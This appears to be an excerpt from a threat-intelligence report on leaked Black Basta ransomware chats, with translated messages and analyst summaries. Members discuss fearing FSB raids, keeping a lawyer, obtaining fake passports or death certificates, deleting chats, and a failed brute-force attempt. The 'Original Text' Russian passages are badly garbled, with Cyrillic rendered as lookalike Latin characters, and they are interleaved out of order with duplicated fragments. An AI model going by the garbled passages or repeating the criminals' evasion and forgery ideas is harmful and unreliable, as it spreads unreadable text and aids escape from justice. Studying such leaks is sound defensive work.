What's the worst-case scenario we're facing?
[omitted]

2024-07-17 20:08:01,
@usernamegg:matrix.bestflowers247.online, you and |
will be in this tension for the rest of our lives
2024-07-17 20:08:24,
@usernamegg:matrix.bestflowers247.online, have
hiding places 2

024-07-17 20:08:36,
@usernamegg:matrix.bestflowers247.online, the main
thing is that the family lives at the same level
2024-07-17 20:08:41,
@usernamegg:matrix.bestflowers247.online, you
never know what will happen

2024-07-17 20:09:40,
@usernamegg:matrix.bestflowers247.online, I'm just
trying to protect my loved ones if something happens
to me, God forbid of course

2024-07-17 20:09:50,
@usernamegg:matrix.bestflowers247.online, however
much they help
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CUNOBUKWN FOPAT BCEX YAYLUMM , AaXe TuMa Hoca
HenoaTouAT

2024-07-15 11:40:08, @chuck:talks.icu, Hy a cMbica UM
3TO fenaTtb, Beb BCEPaBHO He BblAaTyT

2024-07-15 11:42:16, @chuck:talks.icu, Tak 6bl AaBHO
BCEX 3a4yLUnau

2024-07-15 11:43:15, @chuck:talks.icu, uto gymaeLub
Aenatb Aanblie?

2024-07-15 11:43:35,
@usernamegg:matrix.bestflowers247.online, Tbl BOT
MEHS 3Haellb CTONbKO NeT )

2024-07-15 11:44:07, @chuck:talks.icu, Tak aa)
2024-07-15 11:44:24, @chuck:talks.icu, y Tebs
COMHEHUS CTOUT M NPOAOAXKaTb?

[omitted]

2024-07-17 07:36:58,
@usernamegg:matrix.bestflowers247.online, s cobpan
BCEX, MOM BCe B HOWN roToBbI UATW XOTb 3aBTPA, HO
MoKa OTAbIXatoT, A CKa3an NeTo 1N XOpoLlee BpeMs
Cbe341Tb Ha HalUM MOpPs NPOBECTU BPEMS C
MMOBUMBIMU U T4

2024-07-17 07:37:48,
@usernamegg:matrix.bestflowers247.online, mbi
HauHeM B CEHTADBpe. ceiyac s Noka packmaaroch ¢
TeM YTO HaBa/NIOCh.

2024-07-17 10:11:24, @chuck:talks.icu, Npuneet
2024-07-17 10:12:16, @chuck:talks.icu, noHan Tebs,
BWXKY UTO Tbl MOTUXOHbKY NPUXOAMLLb B GOpMY )
2024-07-17 10:12:17, @chuck:talks.icu, 3to paayer)
2024-07-17 10:23:13, @chuck:talks.icu, Pacckaxxu
nonoApobHee UTO CUNOBUKIN TBOW roBopsT. Kakown
XYALWWIA CLLeHapui HaM CBETUT?

[omitted]

2024-07-17 20:08:01,
@usernamegg:matrix.bestflowers247.online, mbi ¢
TO60M [0 KOHLA XU3HW ByAeT B TaKOM Hanpsre
2024-07-17 20:08:24,
@usernamegg:matrix.bestflowers247.online, umen
TaNHWKK

2024-07-17 20:08:36,
@usernamegg:matrix.bestflowers247.online, rnasHoe
YTO Obl CEMbA XMNA HA TOM XXe YPOBHE

2024-07-17 20:08:41,
@usernamegg:matrix.bestflowers247.online, mano nu
yto byset

2024-07-17 20:09:40,
@usernamegg:matrix.bestflowers247.online, s
CTapatoCb NPOCTo 06e30MacnTb CBOUX BAMIKUX eC/n



2024-07-17 20:11:52,
@usernamegg:matrix.bestflowers247.online, why do
you need a lawyer?

2024-07-17 20:12:01,
@usernamegg:matrix.bestflowers247.online, do you
think he'll help you,

2024-07-17 20:12:02,
@usernamegg:matrix.bestflowers247.online, ?
2024-07-17 20:12:21,
@usernamegg:matrix.bestflowers247.online, did you
tell him your whole situation,

2024-07-17 20:12:23,
@usernamegg:matrix.bestflowers247.online, ?
2024-07-17 20:12:27, @chuck:talks.icu, well yes, the
tension is present

2024-07-17 20:12:40, @chuck:talks.icu, when | read
today, | went straight back a year ago, felt just as
shitty

2024-07-17 20:13:01, @chuck:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> why
do you need a lawyer? just in case, if the FSB raids in
the morning

2024-07-17 20:13:07, @chuck:talks.icu, no | didn't tell
him who | am

2024-07-17 20:13:09,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> when | read today, | went straight
back a year ago, felt just as shitty yes, hang in there
brother, it's a fucked up state

2024-07-17 20:13:23, @chuck:talks.icu, | said there are
problems with American law enforcement and they
want me

2024-07-17 20:13:39,
@usernamegg:matrix.bestflowers247.online, well
you've been living peacefully all year

2024-07-17 20:13:39, @chuck:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> yes,
hang in there brother, it's a fucked up state | think
this is 5% of what you went through

2024-07-17 20:13:43,
@usernamegg:matrix.bestflowers247.online, nobody
came,

2024-07-17 20:13:46,
@usernamegg:matrix.bestflowers247.online, ?
2024-07-17 20:13:55, @chuck:talks.icu, no, knock on
wood )

2024-07-17 20:14:10,
@usernamegg:matrix.bestflowers247.online, ++

AaXe CO MHOW YTO TO NPOU30oMAET He Jai bor
KOHe4HO

2024-07-17 20:09:50,
@usernamegg:matrix.bestflowers247.online, kak 6bi
He nomoranu

2024-07-17 20:11:52,
@usernamegg:matrix.bestflowers247.online, a 3auem
Tebe agBokat?

2024-07-17 20:12:01,
@usernamegg:matrix.bestflowers247.online, bl
Aymaellb OH Tebe NOMOXeT ,

2024-07-17 20:12:02,
@usernamegg:matrix.bestflowers247.online, ?
2024-07-17 20:12:21,
@usernamegg:matrix.bestflowers247.online, Tbl utoO
eMy pacckasas BCHO CBOKO CUTYaLMIo ,

2024-07-17 20:12:23,
@usernamegg:matrix.bestflowers247.online, ?
2024-07-17 20:12:27, @chuck:talks.icu, Hy aa, Hanpsr
npucyTcTByeT

2024-07-17 20:12:40, @chuck:talks.icu, s kak cerogHs
npouunTan, NPsM Ha rof Hasaz BepPHY/Cs, TakKe XyeBO
cTano

2024-07-17 20:13:01, @chuck:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> a
3a4em Tebe aABOKaT? Ha BCAKMI MOXAPHbIW, eC/u
&b HarpsiHeT yTpoMm

2024-07-17 20:13:07, @chuck:talks.icu, HeT 7 emy He
pacckasan KTo A

2024-07-17 20:13:09,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> a kak cerogHa npoumnTan, NpPsaM Ha
rog, Hasag BEPHY/ICA, TakXKe XyeBO CTano Aa, AePXNCb
6paTeL, , 3TO NM3aeL, COCTOsIHNE

2024-07-17 20:13:23, @chuck:talks.icu, ckazan uto
eCcTb NpobnemMbl C amepuKaHCKUMU
NPaBOOXPaHUTENAMU N OHN MEHS XOTAT

2024-07-17 20:13:39,
@usernamegg:matrix.bestflowers247.online, Hy Tbl
BECb r0J, XXMBeLlb CMOKONHO

2024-07-17 20:13:39, @chuck:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> paa,
AEepXnNCb bpaTeL, , 3TO NU3AeL, COCTOSIHUE AyMato 3TO
5% oT TOro uTo Thbl NEepexun

2024-07-17 20:13:43,
@usernamegg:matrix.bestflowers247.online, Hn k1O
He nNpuxoaun,
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2024-07-17 20:14:27, @chuck:talks.icu, | pay him a
small amount monthly, and if something happens he
comes to me on call

2024-07-17 20:14:48, @chuck:talks.icu, if the FSB raids
2024-07-17 20:15:06,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> | think this is 5% of what you
went through yes, | only want to sleep and eat, as
soon as | start getting back into the situation of what
happened and replay everything again, all life stops
again.

2024-07-17 20:15:13, @chuck:talks.icu, whether he'll
help or not - don't know, but without him it will be
completely difficult if such a thing happens
2024-07-17 20:15:38, @chuck:talks.icu, yes you need
to rest now 2024-07-17 20:15:42, @chuck:talks.icu, go
to nature

2024-07-17 20:15:46, @chuck:talks.icu, calm your
nerves

2024-07-17 20:15:54, @chuck:talks.icu, the main thing
is you're in Russia

2024-07-17 20:16:04, @chuck:talks.icu, they definitely
won't extradite [omitted]

2024-07-17 20:21:07, @chuck:talks.icu, outlined the
situation, didn't give him specifics

2024-07-17 20:22:11,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> outlined the situation, didn't give
him specifics outline the situation for me as you told
him about it

2024-07-17 20:22:32,
@usernamegg:matrix.bestflowers247.online, afraid to
give people a knife to kill myself with)

2024-07-17 20:23:27,
@usernamegg:matrix.bestflowers247.online, you have
there

2024-07-17 20:23:32,
@usernamegg:matrix.bestflowers247.online, breaches
2024-07-17 20:23:34,
@usernamegg:matrix.bestflowers247.online, theft
2024-07-17 20:23:43,
@usernamegg:matrix.bestflowers247.online, creating
malicious software

2024-07-17 20:23:47,
@usernamegg:matrix.bestflowers247.online, extortion
2024-07-17 20:23:53,
@usernamegg:matrix.bestflowers247.online, money
laundering 2024-07-17 20:24:13,

2024-07-17 20:13:46,
@usernamegg:matrix.bestflowers247.online, ?
2024-07-17 20:13:55, @chuck:talks.icu, HeT, TTT)
2024-07-17 20:14:10,
@usernamegg:matrix.bestflowers247.online, ++
2024-07-17 20:14:27, @chuck:talks.icu, s nnauy emy
Koreeuky eXXeMecsuYHO, U B C/ly4ae Yero OH no
3BOHKY Mpure3XaeT KO MHe

2024-07-17 20:14:48, @chuck:talks.icu, ecan ¢pcb
HarpsHeTt

2024-07-17 20:15:06,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> gymato 310 5% OT TOro uTO Th
nepexun Aa, Xouy crnatb 1 €CTb TOJIbKO , KaK TONbKO
HaulHao BO3BPa3aThbCs B CUTYaLMIO YTO OblIo 1
MPOKpPY4MBato BCe CHOBA, BCE XM3Hb CHOBA
OCTaHOBMACh.

2024-07-17 20:15:13, @chuck:talks.icu, nomoxeT He
MOMOXKET - X3, HO 6e3 Hero coBcem TpyaHo byaet
€Cc/Iv TaKoe CyumnTCa

2024-07-17 20:15:38, @chuck:talks.icu, aa Tebe wac
OTAOXHYTb HaZo

2024-07-17 20:15:42, @chuck:talks.icu, cbe3antb Ha
npnpoay

2024-07-17 20:15:46, @chuck:talks.icu, HepBbl
YCNOKOWTb

2024-07-17 20:15:54, @chuck:talks.icu, rnaBHoe Tbl B
poccum

2024-07-17 20:16:04, @chuck:talks.icu, BblAaTb TOUHO
He BblgadyT

[omitted]

2024-07-17 20:21:07, @chuck:talks.icu, o6pucosan
CUTYaLMIO, KOHKPETMKIN He AaBas eMy

2024-07-17 20:22:11,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> obpucoBan cutyauuto,
KOHKPETUKN He AaBan eMy 0bpuUCy MHE CUTaLMIO Kak
Tbl €My cKa3zan 06 3ToM

2024-07-17 20:22:32,
@usernamegg:matrix.bestflowers247.online, 6otocb
AaTb HOX NOAAM B PyKW AN COBCTBEHHOTO youTmns )
2024-07-17 20:23:27,
@usernamegg:matrix.bestflowers247.online, y Te6s
Tam

2024-07-17 20:23:32,
@usernamegg:matrix.bestflowers247.online, 3annBbl
2024-07-17 20:23:34,
@usernamegg:matrix.bestflowers247.online, kpaxa
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@usernamegg:matrix.bestflowers247.online, haven't
you thought about changing personal data?
2024-07-17 20:24:38, @chuck:talks.icu, fake passport?
2024-07-17 20:24:41, @chuck:talks.icu, | thought
about it

2024-07-17 20:24:50,
@usernamegg:matrix.bestflowers247.online, you can
make a death certificate

2024-07-17 20:24:51, @chuck:talks.icu, but don't
know how feasible that is at all

2024-07-17 20:25:01, @chuck:talks.icu, what about
family? 2024-07-17 20:25:05, @chuck:talks.icu, break
up 2024-07-17 20:25:08, @chuck:talks.icu, leave?
2024-07-17 20:25:30, @chuck:talks.icu, they'll monitor
family phones

2024-07-17 20:26:16, @chuck:talks.icu, Arik
mentioned long ago, someone was making
documents with connections for him

2024-07-17 20:26:24, @chuck:talks.icu, LNR DNR -
new identity

[omitted]

2024-07-17 20:35:13, @chuck:talks.icu, of course
ideally there should be nothing on the computer
2024-07-17 20:35:19,
@usernamegg:matrix.bestflowers247.online, we still
have time, the question is different, how much do you
and | have?

2024-07-17 20:35:25, @chuck:talks.icu, but that would
mean giving up work

2024-07-17 20:35:36, @chuck:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> we
still have time, the question is different, how much do
you and | have? while the old man is alive )
2024-07-17 20:35:49,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> but that would mean giving up
work I'll work until the end of the CBO

2024-07-17 20:35:54,
@usernamegg:matrix.bestflowers247.online, then
everything

2024-07-17 20:35:59,
@usernamegg:matrix.bestflowers247.online, | advise
you to do the same

2024-07-17 20:36:09, @chuck:talks.icu, ah
2024-07-17 20:36:33, @chuck:talks.icu, | was thinking
how to compensate for losses, I'll quit

2024-07-17 20:36:41, @chuck:talks.icu, CBO is for a
long time

2024-07-17 20:23:43,
@usernamegg:matrix.bestflowers247.online,
Co34aHve BpeAOHOCHOro codra

2024-07-17 20:23:47,
@usernamegg:matrix.bestflowers247.online,
BbIMOraTe/IbCTBO

2024-07-17 20:23:53,
@usernamegg:matrix.bestflowers247.online,
obHanmuka

2024-07-17 20:24:13,
@usernamegg:matrix.bestflowers247.online, Tbl He
AyMan O CMeHe INYHbIX AaHHbIX?

2024-07-17 20:24:38, @chuck:talks.icu, nesbii
nacnoprt?

2024-07-17 20:24:41, @chuck:talks.icu, gyman
2024-07-17 20:24:50,
@usernamegg:matrix.bestflowers247.online, MoxHo
cenatb CBUAETENbCTBO O CMepTe

2024-07-17 20:24:51, @chuck:talks.icu, Ho x3 kak 31O
peanusyemo BobLue

2024-07-17 20:25:01, @chuck:talks.icu, a kak cemba?
2024-07-17 20:25:05, @chuck:talks.icu, paccratbea
2024-07-17 20:25:08, @chuck:talks.icu, yexatb?
2024-07-17 20:25:30, @chuck:talks.icu, oHnxxe 6yayT
MOHUTOPUTb TenedoHbl CeMbU

2024-07-17 20:26:16, @chuck:talks.icu, apuk kakTo
A@BHO ellle TOBOPWJ, KTOTO YHEro Aesan JoKu C
NpPOBOAKON

2024-07-17 20:26:24, @chuck:talks.icu, aHp AHp -
HOBas JINYHOCTb

[omitted]

2024-07-17 20:35:13, @chuck:talks.icu, koHeuyHoO B
naeane Haao YTobbl Ha KOMMeE HUUEro He 6b110
2024-07-17 20:35:19,
@usernamegg:matrix.bestflowers247.online, y Hac
eCTb Bpems elle, BONpOC B APYroM, CKO/IbKO ero y Hac
c Tobon?

2024-07-17 20:35:25, @chuck:talks.icu, Ho 31O
npuaeTcs 3aBs3aTb ¢ paboTol

2024-07-17 20:35:36, @chuck:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> y Hac
eCTb Bpems elle, BONpOC B APYroM, CKO/IbKO ero y Hac
c Tobon? noka Aej XXuB )

2024-07-17 20:35:49,
@usernamegg:matrix.bestflowers247.online, >
<@chuck:talks.icu> Ho 3TO NpuaeTca 3aBsA3aTh C
paboToi s go okoHuaHua CBO 6yay paboTaTtb
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2024-07-17 20:35:54,
@usernamegg:matrix.bestflowers247.online, notom
BCE

2024-07-17 20:35:59,
@usernamegg:matrix.bestflowers247.online, Tebe
TOXE COBETYIO TaK cAenatb

2024-07-17 20:36:09, @chuck:talks.icu, aa
2024-07-17 20:36:33, @chuck:talks.icu, s gyman kak
noTepu KOMMeHcmpyto, byay 3aBs3biBaTb
2024-07-17 20:36:41, @chuck:talks.icu, cBo Hagonro

Members express concerns about tracking from Interpol and domestic law enforcement agencies while
discussing countermeasures. They maintain confidence about extradition protection within Russian borders yet
consider safety measures including legal responses and identity falsification. Discussions reveal future anxieties
and retirement plans following the "Special Military Operation (CBO)" conclusion.
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Exchange upon gg's Release

Translated

2024-09-16 10:14:13, @ng:talks.icu, one question, |
understand the books didn't stick to you?

[omitted]

2024-09-16 10:14:44,
@usernamegg:matrix.bestflowers247.online, didn't
understand the question

2024-09-16 10:15:10, @ng:talks.icu, laptop and other
valuable information 2024-09-16 10:15:11,
@usernamegg:matrix.bestflowers247.online, they
confiscated my laptop?

2024-09-16 10:15:22,
@lapa:matrix.bestflowers247.onling, yes, let him issue
new ones in nl

2024-09-16 10:16:04,
@usernamegg:matrix.bestflowers247.online, no, they
have nothing | managed to give everything to reliable
people and my wife did great, did everything as if her
life prepared her for this

2024-09-16 10:16:33,
@usernamegg:matrix.bestflowers247.onling, is that
really the only thing that interests you?)

2024-09-16 10:16:37, @ng:talks.icu, good
2024-09-16 10:16:40,
@lapa:matrix.bestflowers247.onling, in any case it's
simply marked for me that "server + login" failed to
brute force, and there will be a repeat brute force by
another server

2024-09-16 10:16:58, @ng:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> is that
really the only thing that interests you?) no of course
not

2024-09-16 10:17:50, @ng:talks.icu, everything
interests me, | was worried about you, why are you
being aggressive?

2024-09-16 10:18:29,
@usernamegg:matrix.bestflowers247.online, come on
what books brother, you know me better than
yourself, | would have done everything as needed.
[omitted]

2024-09-16 10:24:41, @ng:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> |
became convinced of this from my own experience
that it can be very different. the main thing is be
careful I'm not telling you this for no reason, take care

Original Text

2024-09-16 10:14:13, @ng:talks.icu, oanH Bonpoc,
TaK MOHMUMAKO KHUXKKM HE MPUANNAN Xe Y Tebs?
[omitted]

2024-09-16 10:14:44,
@usernamegg:matrix.bestflowers247.online, He
MOHAN BOMNpOca

2024-09-16 10:15:10, @ng:talks.icu, HOyTOYK 1 Apyras
LeHHasa nHpopmaums

2024-09-16 10:15:11,
@usernamegg:matrix.bestflowers247.online, HoyT6yk
N3bAAN Yy MeHA?

2024-09-16 10:15:22,
@lapa:matrix.bestflowers247.online, ga, nycTb BblAaeT
HOBble B nl

2024-09-16 10:16:04,
@usernamegg:matrix.bestflowers247.online, HeT, y
HWX HET HNYero A BCe yCrnen oTAaTb HafeXHbIM
NFOAAM M XKeHa MofoZeLl, BCe caenan kak byap 1o ee
>KWN3€eHb roTOBMAA K 3TOMY

2024-09-16 10:16:33,
@usernamegg:matrix.bestflowers247.online, Tebs
penabHO TONbKO 3TO MHTpecyeT?)

2024-09-16 10:16:37, @ng:talks.icu, xopowo
2024-09-16 10:16:40,
@lapa:matrix.bestflowers247.online, B itobom cnyyam
Yy MEHATb NPOCTO NOMeYaeTcs, uTo "cepsep + JOrMH"
He NoJly4naoCh COPYTUTb, N ByAET MOBTOPHbLIA BpyT
APpYrvM cepBepom

2024-09-16 10:16:58, @ng:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> 1ebs
penabHO TONBbKO 3TO MHTPECYET?) HET KOHEYHO
2024-09-16 10:17:50, @ng:talks.icu, meHs Bce
WHTepecyeT, i 3a Teba nepexxmBan, YTo Tbl arpuLLILCA?
2024-09-16 10:18:29,
@usernamegg:matrix.bestflowers247.online, aa Hy
Kakas KHWXKa bpaTeL, Tbl MEHA 3HaeLlb Nyylle Yem
ceb4, 2 6bl BCe cAenan Kak Hy>Ho.

[omitted]

2024-09-16 10:24:41, @ng:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> B 3ToMm
A ybeannca Ha cBoeM onbITe YTO HbIBaeT OYeHb Mo
pasHOMy. Tbl F1aBHOe By/Ab akypaTeH i He MPOCTO Tak
Tebe 370 roBopto, bepern cebs. HaMm Hy>XHO
yBuAeTbCA, Tebe UTo TO MHe cKaszaTb?
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of yourself. we need to meet, do you have something
to tell me?

2024-09-16 10:25:44,
@usernamegg:matrix.bestflowers247.online, yes, that
will be possible

2024-09-16 10:26:16,
@usernamegg:matrix.bestflowers247.online, there's
some scum who might leak us

2024-09-16 10:26:41,
@usernamegg:matrix.bestflowers247.online, but later
2024-09-16 10:26:48,
@usernamegg:matrix.bestflowers247.online, for now
just be more careful and at home we are safe
[omitted]

2024-09-16 10:28:25, @ng:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> there's
some scum who might leak us interesting statement
2024-09-16 10:29:13,
@usernamegg:matrix.bestflowers247.online, well
that's a fact

2024-09-16 10:25:44,
@usernamegg:matrix.bestflowers247.online, aa,
MOXHO ByaeT

2024-09-16 10:26:16,
@usernamegg:matrix.bestflowers247.online, ectb
Kakasi To Mpa3sb , KOTOpas MOXeT NoAC/MBaTb Hac
2024-09-16 10:26:41,
@usernamegg:matrix.bestflowers247.online, Ho
noToM

2024-09-16 10:26:48,
@usernamegg:matrix.bestflowers247.online, noka
npocTo 6yAb akKypaTHEN 1 B JOMa Mbl B
6e3onacHocTn

[omitted]

2024-09-16 10:28:25, @ng:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> ectb
Kakasi To Mpa3sb , KOTOpas MOXeT NoACAMBaTb Hac
WHTEePEeCHOe BbiCKa3blBaHMe

2024-09-16 10:29:13,
@usernamegg:matrix.bestflowers247.online, Hy 310
dakT

Post-detention conversations between a released member and associates suggest internal information leaks. The

member reveals family assistance in protecting critical data from official investigations and urges heightened

vigilance among colleagues. Communications express release relief while emphasizing concerns about internal

security breaches in future operations.
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Messages Following yy's Release

Translated

2024-09-16 07:26:03,
@usernameyy:matrix.bestflowers247.online, Hello
Trump. This is bio. They released me, sorry | couldn't
even say goodbye, the masked show almost broke all
my bones when they burst in, fortunately | managed
to disconnect from the server. | think you understand
why | disappeared and | hope you changed all panels
etc. | assume the exchanger leaked me. except for the
last three transfer transactions they didn't find
anything else on me (there were about 3 btc there).
Anyway they kept me in detention and let me go. for
now | feel they're watching me, so I'm laying low. It
sucks that they confiscated the car, arrested the
house, the bastards. But | hope they'll return it soon.
Overall I'm holding up, still getting used to freedom.
Money is tight, same with equipment, they haven't
returned anything yet. I'm writing from an
acquaintance's, gave a fake email. When things calm
down for me I'll try to get in touch with you Trump, |
hope you won't abandon me. Good luck.

Original Text

2024-09-16 07:26:03,
@usernameyy:matrix.bestflowers247.online, Tpamn
npwvBeT. 310 bio. MeHs BbINyCTUAN, U3BUHU YTO He
CMOT Aaxe cKa3aTb, MaCKM1-LLOY YyTb He CIOMano BCe
KOCTW, KoAa BaeTenu, 61aro ycnen oTKaoUnUTbCS OT
cepBaka. [lymaro Tbl MOHAN NOYeMy s nponan u
HaZeroCcb NOMeHAN BCe NaHenn v T.4. lNpegnonarato,
YTO C/INN MEHSA MEHAN0. KPOME Kak MOCAeAHUX Tpex
TpaH3aLuMii No NepeBoay y MeHs 60/blue HUYEro He
Hawwn (Tam okono 3 btc 6b110) . Kopoue
NMOMapWHOBaN B CU30 W OTMYCTUAN. MOKa YyBCTBYHO
YTO 3a MHOW Hab/OAALOT, MO3TOMY OTCUMXXMBAKICh.
XyeBo, YTO KOHOUCKOBANN MaLLNHY, apecToBaau AOM
ybatoakun. Ho Hagerock ckopo otaaayT. B uenom
AEepPXyCb, A0 CMX MOpP NpuBbIKato K cBoboge. C
6ab10m TyroBaTto, C TEXHUKOW TOXe, NokKa eLe
HW4ero He BepHyAW. [nLy OT 3HAKOMOTO, ALLMK
neBblli ykasan. Kak cTaHeT y MeHs no crnokoviHee
noctapatocb Tpammbliy ¢ TO60M BbIATU Ha CBA3b,
HaZerocb He bpocuLlb. Yaauku.

A released member contacts associates to report hiding circumstances following arrest. Communications detail

arrest procedures, asset seizures, personal threats, and surveillance concerns. These exchanges document post-

arrest psychological states and operational risks facing group members.
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Vigilance against Wiretapping of Conversations

Expressing Concern about the Security of Conversations Here

Translated

2024-01-25 16:27:03,
@sunortla:matrix.bestflowers247.online, By the way
communication here is not safe

2024-01-25 16:27:07,
@usernamegg:matrix.bestflowers247.online, yes yes
2024-01-25 16:27:13,
@sunortla:matrix.bestflowers247.online, Better qtox
2024-01-25 16:27:18,
@usernamegg:matrix.bestflowers247.online, we have
it encrypted

2024-01-25 16:27:24,
@usernamegg:matrix.bestflowers247.online, it's
basically on our own server

2024-01-25 16:27:32,
@usernamegg:matrix.bestflowers247.online, qTox no
2024-01-25 16:27:34,
@sunortla:matrix.bestflowers247.online, Only IPs go
openly

2024-01-25 16:27:36,
@usernamegg:matrix.bestflowers247.online, it's not
safe

2024-01-25 16:27:41,
@usernamegg:matrix.bestflowers247.online, our
whole team is here

2024-01-25 16:27:50,
@usernamegg:matrix.bestflowers247.online, good
2024-01-25 16:27:53,
@usernamegg:matrix.bestflowers247.online, 300$
2024-01-25 16:27:57,
@usernamegg:matrix.bestflowers247.online, for now
like this

2024-01-25 16:28:00,
@usernamegg:matrix.bestflowers247.online, then
you'll send a bill

2024-01-25 16:28:03,
@usernamegg:matrix.bestflowers247.online, I'll add
you to the group

Original Text

2024-01-25 16:27:03,
@sunortla:matrix.bestflowers247.online, Kctatn
obuleHne caeck He 6e3onacHoe

2024-01-25 16:27:07,
@usernamegg:matrix.bestflowers247.online, aa aa
2024-01-25 16:27:13,
@sunortla:matrix.bestflowers247.online, Jlyuwwe gtox
2024-01-25 16:27:18,
@usernamegg:matrix.bestflowers247.online, y Hac
WwindpoBaHHOE OHO

2024-01-25 16:27:24,
@usernamegg:matrix.bestflowers247.online, Ha
CBOEM CepBepe CYMTail CTOUT OH

2024-01-25 16:27:32,
@usernamegg:matrix.bestflowers247.online, gTox HeT
2024-01-25 16:27:34,
@sunortla:matrix.bestflowers247.online, Tonbko Ip B
OTKPbITYO UAYT

2024-01-25 16:27:36,
@usernamegg:matrix.bestflowers247.online, oH He
6e3onaceH

2024-01-25 16:27:41,
@usernamegg:matrix.bestflowers247.online, Mbl Bce
TUMOM TyT

2024-01-25 16:27:50,
@usernamegg:matrix.bestflowers247.online, xopowo
2024-01-25 16:27:53,
@usernamegg:matrix.bestflowers247.online, 300$
2024-01-25 16:27:57,
@usernamegg:matrix.bestflowers247.online, noka Tak
2024-01-25 16:28:00,
@usernamegg:matrix.bestflowers247.online, notom
CYET BbICTaBMLLb

2024-01-25 16:28:03,
@usernamegg:matrix.bestflowers247.online, fobasnto
Tebs B rpynny

Members debate communication security protocols. A member recommends gTox while another maintains that
current encrypted platforms on proprietary servers provide adequate protection. These discussions highlight

secure communication as a primary operational concern.



Heightened Vigilance after the Takedown of Other Ransomware Groups

Exchange upon LockBit's Takedown

Translated

2024-05-06 18:03:37,
@usernameyy:matrix.bestflowers247.online,
https://www.bleepingcomputer.com/news/security/lo
ckbits-seized-site-comes-alive-to-tease-new-police-
announcements/

2024-05-06 18:03:57,
@usernameyy:matrix.bestflowers247.online, poor guy
2024-05-06 18:05:34,
@usernamegg:matrix.bestflowers247.online, this is all
harsh

2024-05-06 18:05:42,
@usernamegg:matrix.bestflowers247.online, we could
have the same outcome at any moment

2024-05-06 18:05:52,
@usernamegg:matrix.bestflowers247.online, we need
to delete all old chats so they can't be recovered )
2024-05-06 18:06:07,
@usernameyy:matrix.bestflowers247.online, thank
god our servers with keys are completely
unconnected to admin

2024-05-06 18:06:11,
@usernameyy:matrix.bestflowers247.online,
everything is done competently with us

2024-05-06 18:06:58,
@usernamegg:matrix.bestflowers247.online, time will
tell )
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Original Text

2024-05-06 18:03:37,
@usernameyy:matrix.bestflowers247.online,
https://www.bleepingcomputer.com/news/security/lo
ckbits-seized-site-comes-alive-to-tease-new-police-
announcements/

2024-05-06 18:03:57,
@usernameyy:matrix.bestflowers247.online, 6egonara
2024-05-06 18:05:34,
@usernamegg:matrix.bestflowers247.online, xxectko
BCe 3TO

2024-05-06 18:05:42,
@usernamegg:matrix.bestflowers247.online, y Hac
KaKOW TO TaKOM Xe UCX04 MOXKET BbIT bB 060N
MOEHT

2024-05-06 18:05:52,
@usernamegg:matrix.bestflowers247.online, Bce
cTapble YaTbl yAansTb HaZo Tak YTo Hbl X He
BOCTaHOBWTb )

2024-05-06 18:06:07,
@usernameyy:matrix.bestflowers247.online, cnaBsa
6ory y Hac cepBepa C kJaro4amm BOObLLE C aAMUHKOWN
He CBf3aHbl

2024-05-06 18:06:11,
@usernameyy:matrix.bestflowers247.online, y Hac Bcé
rpPaMOTHO cAenaHo

2024-05-06 18:06:58,
@usernamegg:matrix.bestflowers247.online, Bpems
MOKaXeT )



Discussion on REvil

Translated

2024-05-06 18:09:10,
@usernameyy:matrix.bestflowers247.online, they've
gotten serious about ransomware

2024-05-06 18:09:16,
@usernameyy:matrix.bestflowers247.online, they
imprisoned a guy from REvil a couple of days ago
2024-05-06 18:09:18,
@usernameyy:matrix.bestflowers247.online, 13 years
2024-05-06 18:09:24,
@usernamegg:matrix.bestflowers247.online, yes
2024-05-06 18:09:26,
@usernamegg:matrix.bestflowers247.online, | saw
2024-05-06 18:09:28,
@usernamegg:matrix.bestflowers247.online,
Ukrainian

Original Text

2024-05-06 18:09:10,
@usernameyy:matrix.bestflowers247.online, écTtko
3a paHCOM B3S/INCh

2024-05-06 18:09:16,
@usernameyy:matrix.bestflowers247.online, Tam 13
peBWaa NOCaAWAN NapHA Napy AHeEN Ha3aj
2024-05-06 18:09:18,
@usernameyy:matrix.bestflowers247.online, 13 net
2024-05-06 18:09:24,
@usernamegg:matrix.bestflowers247.online, aa
2024-05-06 18:09:26,
@usernamegg:matrix.bestflowers247.online, Bugen
2024-05-06 18:09:28,
@usernamegg:matrix.bestflowers247.online, xoxon

Members share information about arrests related to ransomware groups LockBit and Revil. Discussions

acknowledge harsher sentencing trends, revealing heightened awareness of intensifying law enforcement efforts.
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I 3.5 Vigilance against Internal Betrayal

The chat log analysis reveals Black Basta lacked organizational unity. Financial disputes triggered complaints

about dishonest member behavior, creating deep internal distrust. These accumulated tensions potentially

contributed to the chat log leak.

Vigilance against Betrayal by Members

Expressing Dissatisfaction with Profit Sharing Based on Contributions

Translated

2024-04-19 10:24:52, @nickolas:talks.icu, we should
also establish processes within the team and clean up
the staff 3)

2024-04-19 10:25:11,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> we should also establish
processes within the team and clean up the staff :)
they made some money here

2024-04-19 10:25:08, @nickolas:talks.icu, they grew to
30, and turned into a pumpkin @ &

2024-04-19 10:25:26,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> they grew to 30, and turned
into a pumpkin @ & disappointing

2024-04-19 10:25:43, @nickolas:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> they
made some money here yeah, but they didn't share a
single penny with me =)

2024-04-19 10:25:44,
@usernamegg:matrix.bestflowers247.online, greed
ruined them?

2024-04-19 10:26:04, @nickolas:talks.icu, and they
kept quiet, | only found out from the VPN supplier
that the guys made 3 payouts )

